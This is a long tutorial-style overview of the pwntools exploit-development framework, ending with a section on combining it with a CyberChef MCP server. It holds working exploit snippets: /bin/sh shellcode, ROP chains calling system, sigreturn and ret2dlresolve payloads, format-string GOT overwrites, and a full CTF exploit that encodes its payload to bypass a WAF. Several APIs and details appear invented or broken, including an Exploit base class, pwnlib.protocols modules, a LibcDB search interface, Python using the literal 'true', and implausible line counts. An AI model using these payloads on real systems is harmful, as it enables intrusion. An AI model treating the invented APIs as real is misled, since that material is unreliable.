pwntools is a comprehensive Python framework designed for rapid prototyping and development of exploits in Capture The Flag (CTF) competitions and security research. Developed by the Gallopsled team, it provides a unified toolkit encompassing shellcode generation, Return-Oriented Programming (ROP) chain construction, binary manipulation, network communication, assembly/disassembly, and exploit automation—all aimed at making exploit writing as simple as possible. With 20,300+ GitHub stars, extensive documentation at docs.pwntools.com, and a production-stable status, pwntools has become the de facto standard for CTF exploit development in the Python ecosystem.
The framework excels in scenarios requiring quick iteration and prototyping. Whether debugging a binary locally, connecting to remote services, crafting custom payloads, or automating multi-stage exploits, pwntools provides a high-level API that abstracts low-level complexity. Its "tubes" abstraction unifies local process interaction, remote socket connections, and SSH sessions under a single interface, allowing exploit code to seamlessly transition between testing and production environments.
| Attribute | Details |
|---|---|
| Project Name | pwntools |
| Authors | Gallopsled et al. |
| Primary Contact | pwntools-users@googlegroups.com |
| License | Primarily MIT (with GPL/BSD components in pwnlib/constants/ and pwnlib/data/) |
| GitHub Repository | https://github.com/Gallopsled/pwntools |
| Documentation | https://docs.pwntools.com/ |
| Tutorials | https://github.com/Gallopsled/pwntools-tutorial |
| Write-ups | https://github.com/Gallopsled/pwntools-write-ups |
| Python Version | Python 3.10+ (version 5.0.0+), Python 3.6-3.9 supported in 4.x branch |
| Status | Production/Stable (Development Status 5) |
| Discord | https://discord.gg/96VA2zvjCB |
pwntools follows a "batteries-included" approach where common exploit development patterns are reduced to minimal code. The framework prioritizes developer productivity over raw performance—exploit development typically involves iterative debugging where human time vastly exceeds computation time. The from pwn import * import pattern intentionally loads the entire toolkit into the namespace, enabling quick experimentation in interactive sessions without hunting for specific module imports.
Version 5.0.0 marked a significant milestone with the transition to Python 3.10+ as the minimum requirement, retiring Python 2.7 support that had been maintained through the 4.x series. This modernization enabled adoption of contemporary Python features while maintaining API stability for existing exploits.
pwntools employs a layered architecture where specialized modules handle distinct aspects of exploit development. The core framework resides in the pwnlib/ directory, with a convenience wrapper pwn/ providing the streamlined import experience. All functionality integrates through a global context object that maintains state across operations.
pwntools/
├── pwn/ # Convenience wrapper (from pwn import *)
├── pwnlib/ # Core library
│ ├── tubes/ # I/O abstraction layer
│ │ ├── tube.py # Base class for all I/O (57k lines)
│ │ ├── process.py # Local process interaction (54k lines)
│ │ ├── remote.py # Network socket connections
│ │ ├── ssh.py # SSH session management (76k lines)
│ │ ├── listen.py # Server listening
│ │ ├── serialtube.py # Serial port communication
│ │ └── server.py # Multi-client server
│ ├── elf/ # ELF binary manipulation
│ │ ├── elf.py # ELF parsing and modification
│ │ ├── datatypes.py # ELF data structures
│ │ └── plt.py # PLT/GOT handling
│ ├── rop/ # ROP chain construction
│ │ ├── rop.py # Main ROP builder (58k lines)
│ │ ├── call.py # Function call gadgets
│ │ ├── srop.py # SIGRETURN-oriented programming (19k lines)
│ │ ├── ret2dlresolve.py# ret2dlresolve technique (13k lines)
│ │ └── ret2csu.py # ret2csu gadgets
│ ├── shellcraft/ # Shellcode generation
│ │ ├── templates/ # Architecture-specific templates
│ │ ├── __init__.py # Shellcode API (6k lines)
│ │ ├── registers.py # Register handling
│ │ └── internal.py # Template engine
│ ├── asm.py # Assembly/disassembly (32k lines)
│ ├── dynelf.py # Dynamic symbol resolution (36k lines)
│ ├── fmtstr.py # Format string exploit automation (45k lines)
│ ├── gdb.py # GDB integration (55k lines)
│ ├── libcdb.py # libc database lookup (35k lines)
│ ├── memleak.py # Memory leak exploitation (19k lines)
│ ├── util/ # Utilities (packing, cyclic patterns, etc.)
│ └── context/ # Global context management
└── examples/ # Example scripts and use cases
The context object serves as a singleton configuration manager affecting all pwntools operations. Key context properties include:
- Architecture (
arch): Target architecture (i386, amd64, arm, aarch64, mips, powerpc, sparc, etc.) - Operating System (
os): Target OS (linux, windows, freebsd, etc.) - Endianness (
endian): Byte order (little, big) - Word Size (
bits): 32 or 64-bit mode - Logging (
log_level): Verbosity control (debug, info, warn, error, critical) - Terminal (
terminal): Terminal emulator for interactive sessions
Example configuration:
from pwn import *
# Set context for 64-bit Linux x86-64
context(arch='amd64', os='linux', log_level='debug')
# Context affects all subsequent operations
shellcode = asm(shellcraft.sh()) # Generates x86-64 shellcode
p = process('./binary') # Spawns with amd64 expectationsThe tubes module represents pwntools' most distinctive architectural decision—abstracting all forms of I/O (local processes, network sockets, SSH sessions, serial ports) behind a uniform interface. This design allows exploit code to remain identical whether targeting a local binary, a remote service, or an embedded device.
All tube types inherit from tube.py, which provides approximately 30 methods for interaction:
Receiving data:
recv(n)- Receive exactly n bytesrecvline()- Receive until newlinerecvuntil(delim)- Receive until delimiter appearsrecvall()- Receive until EOFrecvregex(pattern)- Receive until regex matchrecvrepeat(timeout)- Receive with timeoutclean()- Flush all buffered data
Sending data:
send(data)- Send datasendline(data)- Send data with newlinesendafter(delim, data)- Send after receiving delimitersendlineafter(delim, data)- Combined sendline + recvuntil
Interactive features:
interactive()- Drop to interactive sessionclose()- Close connectionshutdown(direction)- Shutdown read/write
Advanced control:
can_recv(timeout)- Check if data is availableunrecv(data)- Push data back into buffertimeout- Set receive timeout
The process class spawns and controls local binaries with full I/O access:
# Spawn a local binary
p = process('./vulnerable_binary')
# Interact with it
p.sendline(b'A' * 100)
response = p.recvline()
# Attach debugger
gdb.attach(p, '''
break main
continue
''')
# Continue interaction
p.interactive()Process features include:
- Automatic PTY allocation for programs expecting terminal input
- Environment variable control via
envparameter - Working directory control via
cwdparameter - Argument passing via
argvor positional arguments - ASLR control via
aslr=True/False - Signal handling and process control
- Leak-free file descriptor management
The remote class manages TCP/UDP socket connections:
# Connect to remote service
r = remote('pwn.example.com', 31337)
# Identical interface to process tubes
r.sendlineafter(b'Username: ', b'admin')
r.sendlineafter(b'Password: ', payload)
leak = u64(r.recvline()[:8])
r.close()Remote tube capabilities:
- IPv4 and IPv6 support
- TCP and UDP protocols
- SOCKS proxy support via
socksparameter - SSL/TLS encryption via
sslparameter - Timeout configuration at connection and receive levels
- Connection retry logic
The ssh class wraps Paramiko for SSH session management:
# Establish SSH connection
s = ssh(host='target.com', user='ctfplayer', password='password')
# Run commands
s.run('ls -la')
# Spawn interactive process
p = s.process('/home/ctf/challenge')
p.sendline(payload)
# Upload/download files
s.upload('exploit.py', '/tmp/exploit.py')
s.download('/flag.txt', 'flag.txt')
# Port forwarding
remote_port = s.remote('127.0.0.1', 8080)SSH features include:
- Key-based and password authentication
- Process spawning with full tube interface
- File operations (upload, download, ls, cd)
- Port forwarding (local and remote)
- Session caching for reconnection
- Multiple simultaneous shells
For exploits requiring the target to connect back:
# Single-connection listener
l = listen(4444)
r = l.wait_for_connection()
r.interactive()
# Multi-client server
def handler(r):
r.sendline(b'Welcome!')
data = r.recvline()
r.close()
s = server(4444)
s.next_connection() # Accept connections
s.wait_for_close()The elf module provides comprehensive ELF binary parsing, modification, and analysis capabilities built on pyelftools. It enables direct manipulation of program headers, section headers, symbols, relocations, and more.
e = ELF('./binary')
# Symbol resolution
libc_start = e.symbols['__libc_start_main']
main = e.symbols['main']
# PLT/GOT access
puts_plt = e.plt['puts']
puts_got = e.got['puts']
# Section information
text_section = e.get_section_by_name('.text')
data_addr = e.get_section_by_name('.data').header['sh_addr']
# String searching
flag_string = next(e.search(b'/bin/sh'))
# Memory layout
print(f"Base address: {hex(e.address)}")
print(f"Entry point: {hex(e.entry)}")
print(f"Architecture: {e.arch}")
print(f"RELRO: {e.relro}")
print(f"NX: {e.nx}")
print(f"PIE: {e.pie}")
print(f"Stack canary: {e.canary}")# Patch binary data
e.write(0x400000, b'\x90' * 10) # NOP sled
# Modify assembly
e.asm(0x400500, 'xor eax, eax; ret')
# Save modified binary
e.save('./binary_patched')
# Pack values directly into binary
e.pack(0x601000, 0xdeadbeef) # Pack 32/64-bit valuepwntools automatically detects binary protections:
- RELRO (Relocation Read-Only): Partial, Full, or None
- Stack Canary: Present or absent
- NX (No-Execute): Enabled or disabled
- PIE (Position Independent Executable): Enabled or disabled
- RPATH/RUNPATH: Dynamic library search paths
- Fortify: FORTIFY_SOURCE compilation flag
The rop module automates Return-Oriented Programming chain construction by searching binaries for useful gadgets and assembling them into exploit primitives. It supports multiple ROP variants including classical ROP, SROP (Sigreturn-Oriented Programming), and specialized techniques like ret2dlresolve.
e = ELF('./binary')
rop = ROP(e)
# Call functions with arguments
rop.call('system', [next(e.search(b'/bin/sh'))])
# Automatic register population
rop.rdi = 0xdeadbeef
rop.rsi = 0xcafebabe
rop.call('some_function')
# Chain generation
payload = fit({
offset: rop.chain()
})# Find specific gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
# Search across multiple binaries
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([e, libc])
# View available gadgets
print(rop.gadgets)
print(rop.dump())# Create sigreturn frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget
rop.raw(frame)For binaries without useful gadgets or library leaks:
rop = ROP(e)
dlresolve = Ret2dlresolvePayload(e, symbol='system', args=['/bin/sh'])
rop.raw(rop.find_gadget(['ret']))
rop.ret2dlresolve(dlresolve)
payload = fit({
offset: rop.chain()
})The shellcraft module provides an extensive template library for generating architecture-specific shellcode. Templates cover common operations from simple syscalls to complex multi-stage payloads, with support for 15+ architectures.
Supported architectures:
- x86: i386, amd64 (x86-64)
- ARM: arm, aarch64, thumb
- MIPS: mips, mips64
- PowerPC: powerpc, powerpc64
- SPARC: sparc, sparc64
- Others: ia64, alpha
context.arch = 'amd64'
# Spawn shell
sc = shellcraft.sh()
# Read/write syscalls
sc = shellcraft.read(fd=0, buf='rsp', count=100)
sc = shellcraft.write(fd=1, buf='rsp', count=100)
# Open file
sc = shellcraft.open('/etc/passwd')
# Execute command
sc = shellcraft.execve('/bin/sh', ['sh', '-c', 'cat /flag'], {})
# Network operations
sc = shellcraft.connect('127.0.0.1', 4444)
sc = shellcraft.listen(4444)
# Staged payloads
sc = shellcraft.stage() # Multi-stage shellcode loader
# Assemble to bytes
shellcode = asm(sc)Templates can be composed and customized:
# Multi-stage shellcode
stage1 = shellcraft.open('/flag')
stage2 = shellcraft.read('rax', 'rsp', 100)
stage3 = shellcraft.write(1, 'rsp', 100)
sc = '\n'.join([stage1, stage2, stage3])
shellcode = asm(sc)
# Custom register usage
sc = shellcraft.mov('rdi', '/bin/sh')
sc += shellcraft.syscall('SYS_execve', 'rdi', 0, 0)# Alphanumeric encoding
from pwnlib.encoders import encode
encoded = encode(shellcode, 'alphanumeric')
# Null-free encoding
encoded = encode(shellcode, 'null-free')
# Custom bad characters
encoded = encode(shellcode, avoid=b'\x00\x0a\x0d')The asm module provides bidirectional assembly/disassembly leveraging binutils (GNU as) and various architecture-specific toolchains. It handles cross-architecture assembly, including exotic platforms.
context.arch = 'amd64'
# Assemble x86-64 code
code = asm('mov rax, 0x3b; syscall')
# Assemble with custom address
code = asm('jmp $+0x1000', vma=0x400000)
# Cross-architecture assembly
context.arch = 'arm'
code = asm('mov r0, #1; svc 0')
# 32-bit ARM vs Thumb mode
context.arch = 'thumb'
code = asm('movs r0, #1')# Disassemble bytes
asm_code = disasm(b'\x48\x31\xc0\x0f\x05')
# Disassemble at specific address
asm_code = disasm(b'\xeb\xfe', vma=0x400000)
# Control output format
print(disasm(code, byte=False)) # Hide byte representationpwntools automatically manages toolchains for cross-compilation:
# Install cross-compilation support (apt-based systems)
sudo apt-get install binutils-multiarch
sudo apt-get install binutils-arm-linux-gnueabi
sudo apt-get install binutils-aarch64-linux-gnu
sudo apt-get install binutils-mips-linux-gnuThe dynelf and memleak modules enable runtime symbol resolution and arbitrary memory reading from running processes—critical for bypassing ASLR and discovering library addresses.
# Define arbitrary read primitive
def leak(addr):
p.sendline(f'{addr}'.encode())
return p.recv(8)
# Resolve symbols dynamically
d = DynELF(leak, main_addr)
system_addr = d.lookup('system', 'libc')
bin_sh_addr = d.lookup('str_bin_sh', 'libc')
# Build exploit with resolved addresses
payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)# Create memory leak interface
mem = MemLeak(leak_function)
# Read specific addresses
libc_start = mem.q(libc_start_got) # Read qword (8 bytes)
value = mem.d(some_addr) # Read dword (4 bytes)
# String reading
string = mem.s(string_addr) # Read null-terminated string
data = mem.b(addr, 100) # Read 100 bytes
# Comparative reading
mem.set_arch('amd64')from pwnlib.libcdb import LibcDB
# Identify libc version from leaked addresses
libc = LibcDB()
libc_version = libc.search(puts=0x7f1234567890, system=0x7f1234512340)
# Download and use matched libc
libc_elf = libc.download()
system = libc_elf.symbols['system']The fmtstr module automates format string vulnerability exploitation, handling both 32-bit and 64-bit targets with automatic offset detection and arbitrary write primitives.
# Define send/receive functions
def send_payload(payload):
p.sendline(payload)
return p.recvuntil(b'> ')
# Create format string exploit
autofmt = FmtStr(send_payload)
offset = autofmt.offset # Automatic offset detection
# Arbitrary write
writes = {
got_addr: system_addr,
another_addr: 0xdeadbeef
}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)# Build writes manually
payload = fmtstr_payload(6, {
0x601020: 0x400686, # Overwrite GOT entry
0x601028: 0xdeadbeef
}, write_size='short') # Use %hn for 2-byte writesThe gdb module enables seamless GDB integration, allowing exploits to spawn debuggers, set breakpoints, and analyze program state during development.
# Launch process with GDB attached
p = gdb.debug('./binary', '''
break main
break *0x400686
continue
''')
# Attach to running process
p = process('./binary')
gdb.attach(p, '''
break malloc
continue
''')
# Custom GDB script
gdb_script = '''
set follow-fork-mode child
catch syscall execve
commands
x/s $rdi
continue
end
'''
gdb.attach(p, gdb_script)# Launch with breakpoint
p = gdb.debug('./vuln', 'break vulnerable_function')
# Send initial data
p.sendline(b'A' * 64)
# Continue manually in GDB terminal
# Inspect state, single-step, etc.
# Resume programmatic control
p.interactive()The util module provides essential utilities for exploit development:
# Pack integers (respects context.bits and context.endian)
p32(0xdeadbeef) # b'\xef\xbe\xad\xde' (little-endian)
p64(0xcafebabe) # 8-byte pack
# Unpack
u32(b'\xef\xbe\xad\xde') # 0xdeadbeef
u64(data[:8])
# Explicit endianness
p32(value, endian='big')
u64(data, endian='little', sign='signed')# Generate cyclic pattern (de Bruijn sequence)
pattern = cyclic(200)
# Find offset of substring
offset = cyclic_find(b'faab') # Returns offset in pattern
# Custom alphabet
pattern = cyclic(100, alphabet=string.ascii_lowercase)# Fit data to specific length
payload = fit({
0: b'start',
64: p64(overflow_addr),
128: shellcode
}, length=256, filler=b'\x90')# Pretty hexdump
print(hexdump(data))
# Enhanced hexdump with highlighting
hexdump(data, highlight=b'\xef\xbe\xad\xde')# Bit operations
bits(b'AB') # [0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0]
unbits([0, 1, 1, 0, 0, 0, 0, 1]) # b'a'
# XOR operations
xor(b'hello', 0x20) # Single-byte XOR
xor(b'hello', b'key') # Repeating-key XOR
xor(b'data', b'key', cut='max') # Pad shorter string# Entropy calculation
entropy(data) # Returns float 0.0-8.0
# Hamming distance
hamming(b'abc', b'abd') # Returns 1
# Checksum
crc32(data)
md5sum(data)
sha256sum(data)pwntools is primarily developed and tested on Ubuntu LTS releases (22.04 and 24.04) for 64-bit systems, though most functionality works on any POSIX-like platform.
# Update system packages
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# Install pwntools
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools# Pull official image
docker pull pwntools/pwntools
# Interactive session
docker run -it pwntools/pwntools
# Run exploit script
docker run -v $(pwd):/mnt pwntools/pwntools python3 /mnt/exploit.pyFor architecture-specific assembly/disassembly:
# Cross-compilation toolchains
sudo apt-get install binutils-multiarch
# ARM support
sudo apt-get install binutils-arm-linux-gnueabi binutils-aarch64-linux-gnu
# MIPS support
sudo apt-get install binutils-mips-linux-gnu binutils-mipsel-linux-gnu
# PowerPC support
sudo apt-get install binutils-powerpc-linux-gnu| pwntools Version | Python Support |
|---|---|
| 5.0.0+ | Python 3.10+ |
| 4.x | Python 2.7, 3.6-3.9 |
| 3.x | Python 2.7 |
The CyberChef MCP server complements pwntools by providing data transformation operations that bridge gaps in pwntools' native capabilities. While pwntools excels at exploit primitives and binary interaction, CyberChef MCP offers superior encoding/decoding, cryptographic operations, and data format conversions.
| pwntools Capability | CyberChef MCP Enhancement |
|---|---|
Basic xor() function |
cyberchef_xor_brute_force for key discovery |
| Limited base encoding | 30+ base encoding variants (Base58, Base85, Base91, Base62, Base32, etc.) |
| Simple hex/unhex | cyberchef_from_hexdump, cyberchef_to_hexdump with formatting options |
| No native ROT support | cyberchef_rot13, cyberchef_rot47 for quick transformations |
| String operations | cyberchef_strings, cyberchef_find_replace, regex operations |
| Manual pattern analysis | cyberchef_detect_file_type, cyberchef_entropy, cyberchef_frequency_distribution |
CyberChef MCP excels at transforming pwntools-generated shellcode for restricted environments:
# Generate shellcode with pwntools
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
# Use CyberChef MCP to encode for restricted character sets
# (via MCP client - pseudo-code for illustration)
encoded_shellcode = cyberchef_bake(
input=shellcode.hex(),
recipe=[
{"op": "From Hex", "args": ["Auto"]},
{"op": "Encode text", "args": ["Base64"]},
]
)
# Or create alphanumeric shellcode representations
alphanumeric = cyberchef_bake(
input=shellcode.hex(),
recipe=[
{"op": "From Hex", "args": []},
{"op": "To Base85", "args": ["!-u", true]}
]
)When extracting data from binaries or network captures:
# Extract memory dump from process
p = process('./binary')
leak = p.recvn(256) # Receive 256 bytes
# Convert to various formats using CyberChef MCP
# 1. Create hexdump for analysis
hexdump_output = cyberchef_to_hexdump(leak.hex(), width=16)
# 2. Search for patterns
strings_found = cyberchef_strings(leak.hex(), min_length=4)
# 3. Analyze entropy to find encrypted sections
entropy_analysis = cyberchef_entropy(leak.hex())For CTF challenges involving custom crypto:
# pwntools handles I/O
from pwn import *
r = remote('crypto-challenge.ctf', 31337)
# Receive encrypted flag
encrypted = r.recvline().strip()
# Use CyberChef MCP for decryption attempts
# Try various classical ciphers
for operation in ['AES Decrypt', 'DES Decrypt', 'Vigenère Decode']:
result = cyberchef_bake(
input=encrypted,
recipe=[{"op": operation, "args": [...]}]
)
if b'flag{' in result:
print(f"Decrypted with {operation}: {result}")
breakCyberChef MCP provides binary format parsing that complements ELF analysis:
# Extract sections with pwntools
e = ELF('./challenge')
data_section = e.get_section_by_name('.data').data()
# Analyze structure with CyberChef MCP
file_type = cyberchef_detect_file_type(data_section.hex())
parsed_data = cyberchef_parse_x509_certificate(data_section.hex())- Reconnaissance Phase: Use
cyberchef_searchto discover available data transformations - Exploit Development: Generate payloads with pwntools shellcraft/rop
- Payload Encoding: Apply CyberChef MCP encoders for evasion/character restrictions
- Data Extraction: Use pwntools tubes for I/O, CyberChef MCP for format conversion
- Analysis: Leverage CyberChef's frequency analysis, entropy calculation, and pattern detection
from pwn import *
# Setup context
context.arch = 'amd64'
context.log_level = 'debug'
# Connect to challenge
r = remote('pwn.challenge.ctf', 1337)
# Leak addresses
r.recvuntil(b'Address: ')
leak = int(r.recvline(), 16)
# Build ROP chain
e = ELF('./challenge')
rop = ROP(e)
rop.call('system', [next(e.search(b'/bin/sh'))])
# Generate payload
payload = fit({
64: rop.chain()
})
# Encode payload for WAF bypass using CyberChef MCP
# (If challenge filters certain bytes)
encoded_payload = cyberchef_bake(
input=payload.hex(),
recipe=[
{"op": "From Hex"},
{"op": "Encode text", "args": ["Base64"]},
{"op": "URL Encode", "args": [true]}
]
)
# Send exploit
r.sendline(encoded_payload)
# Receive flag and decode if necessary
flag_raw = r.recvline()
flag = cyberchef_from_base64(flag_raw)
print(f"Flag: {flag}")pwntools originated in and remains optimized for CTF binary exploitation challenges:
- pwn category: Stack/heap overflows, format strings, ROP chains
- crypto category: Custom protocol implementation, padding oracle attacks
- rev category: Dynamic analysis, debugging, memory extraction
- misc category: Network protocol manipulation, custom encoding schemes
Professional exploit development scenarios:
- Proof-of-concept exploits: Rapid prototyping against CVEs
- Vulnerability research: Fuzzing harnesses, crash triage automation
- Red team operations: Custom implants, C2 communication protocols
- Bug bounty hunting: Quick exploit iteration for reported vulnerabilities
Dynamic analysis workflows:
- Memory dumping: Extract running process memory for analysis
- Function hooking: GDB integration for runtime behavior modification
- Protocol reverse engineering: Network communication analysis and replay
- Malware analysis: Controlled execution and behavior monitoring
Learning exploit development:
- Interactive tutorials: docs.pwntools.com tutorials and pwntools-tutorial repository
- CTF training platforms: Integration with pwnable.kr, pwnable.tw, HackTheBox
- Academic courses: University security courses leverage pwntools for labs
- Self-paced learning: Extensive documentation and example exploit scripts
from pwn import *
class MyExploit(Exploit):
def __init__(self):
self.binary = ELF('./target')
def leak_libc(self):
# Implementation
pass
def exploit(self):
# Main exploit logic
pass- ELF: Full parsing and modification (
pwnlib.elf) - PE: Windows portable executables (limited support)
- Mach-O: macOS binaries (basic support)
- Core dumps: Analysis and frame extraction (
pwnlib.elf.corefile)
# HTTP
from pwnlib.protocols.http import *
# DNS
from pwnlib.protocols.dns import *from pwnlib.adb import *
# Connect to device
device = adb.wait_for_device()
# Push/pull files
device.push('exploit', '/data/local/tmp/')
# Spawn process
p = device.process(['/data/local/tmp/exploit'])
p.interactive()- Filesystem extraction: Integration with binwalk
- Architecture detection: Automatic from binary headers
- Emulation support: QEMU integration via
pwnlib.qemu
- Documentation: https://docs.pwntools.com/ (comprehensive API reference)
- Tutorial Series: https://github.com/Gallopsled/pwntools-tutorial
- Write-ups Repository: https://github.com/Gallopsled/pwntools-write-ups (real CTF solutions)
- Discord Community: https://discord.gg/96VA2zvjCB (active support channel)
- Mailing List: pwntools-users@googlegroups.com
- pwndbg: Enhanced GDB with pwntools integration
- ROPgadget: Gadget search backend (dependency)
- one_gadget: One-shot RCE gadget finder (compatible)
- libc-database: Automatic libc version identification (used by
libcdb)
- pwncat: Reverse shell handler with file transfer
- ropper: Alternative ROP gadget finder
- radare2/rizin: Binary analysis framework
- angr: Binary analysis and symbolic execution platform
- frida: Dynamic instrumentation toolkit
pwntools prioritizes developer productivity over raw performance:
- Interactive workflows: Optimized for human-in-the-loop iteration
- High-level abstractions: Convenience at cost of execution speed
- External toolchain dependencies: Assembly/disassembly requires binutils
- Python overhead: Not suitable for high-throughput fuzzing
- Cross-platform support: Best on Linux; limited Windows/macOS functionality
- Modern mitigations: CET, Intel MPX require manual handling
- Kernel exploitation: User-space focused; limited kernel support
- 32-bit host limitations: Some features require 64-bit Python
# Cache expensive operations
context.log_level = 'warn' # Reduce logging overhead
# Reuse ELF/ROP objects
e = ELF('./binary', checksec=False) # Skip security analysis
# Batch operations
rop.raw(b'A' * 100) # Faster than 100 individual operations
# Disable terminal features
context.terminal = None # Skip terminal detectionpwntools is an educational and research tool. Users must:
- Obtain authorization before testing systems
- Follow responsible disclosure for discovered vulnerabilities
- Respect legal boundaries in their jurisdiction
- Use ethically in accordance with computer fraud laws
- ASLR control: Explicit enablement prevents accidental leaks
- Process isolation: Subprocess management prevents system contamination
- Timeout protection: Default timeouts prevent infinite hangs
- Exception handling: Graceful failure on unexpected conditions
- Hardcoded addresses: Always account for ASLR/PIE
- Endianness assumptions: Verify
context.endianfor target platform - Architecture mismatches: Ensure
context.archmatches target binary - Race conditions: Handle timing in network interactions
- 5.0.0 (Current): Python 3.10+ requirement, modernized APIs
- 4.12.0: Python 2.7 end-of-life final release
- 4.0.0: Python 3 support introduction
- 3.0.0: Major API overhaul and tubes abstraction
- Architecture expansion: RISC-V, LoongArch support
- Windows exploit primitives: Improved PE handling, SEH/ROP
- Browser exploitation: JavaScript shellcode, WebAssembly support
- Cloud-native targets: Container escape techniques
- Kernel exploitation: Expanded kernel-mode support
pwntools represents the most comprehensive Python-based exploit development framework available, combining deep technical capabilities with exceptional developer ergonomics. Its unified tubes abstraction, automatic ROP chain construction, cross-architecture shellcode generation, and seamless debugger integration make it indispensable for CTF competitions and security research. When combined with CyberChef MCP's data transformation capabilities, practitioners gain a complete toolkit spanning exploit primitives, data encoding, cryptographic operations, and binary analysis—covering the full spectrum of modern exploit development requirements.
For exploit developers, the value proposition is clear: pwntools handles the low-level complexity of binary manipulation and process interaction, allowing focus on vulnerability logic and payload construction. The extensive documentation, active community, and continuous development ensure the framework remains current with evolving exploitation techniques and target platforms.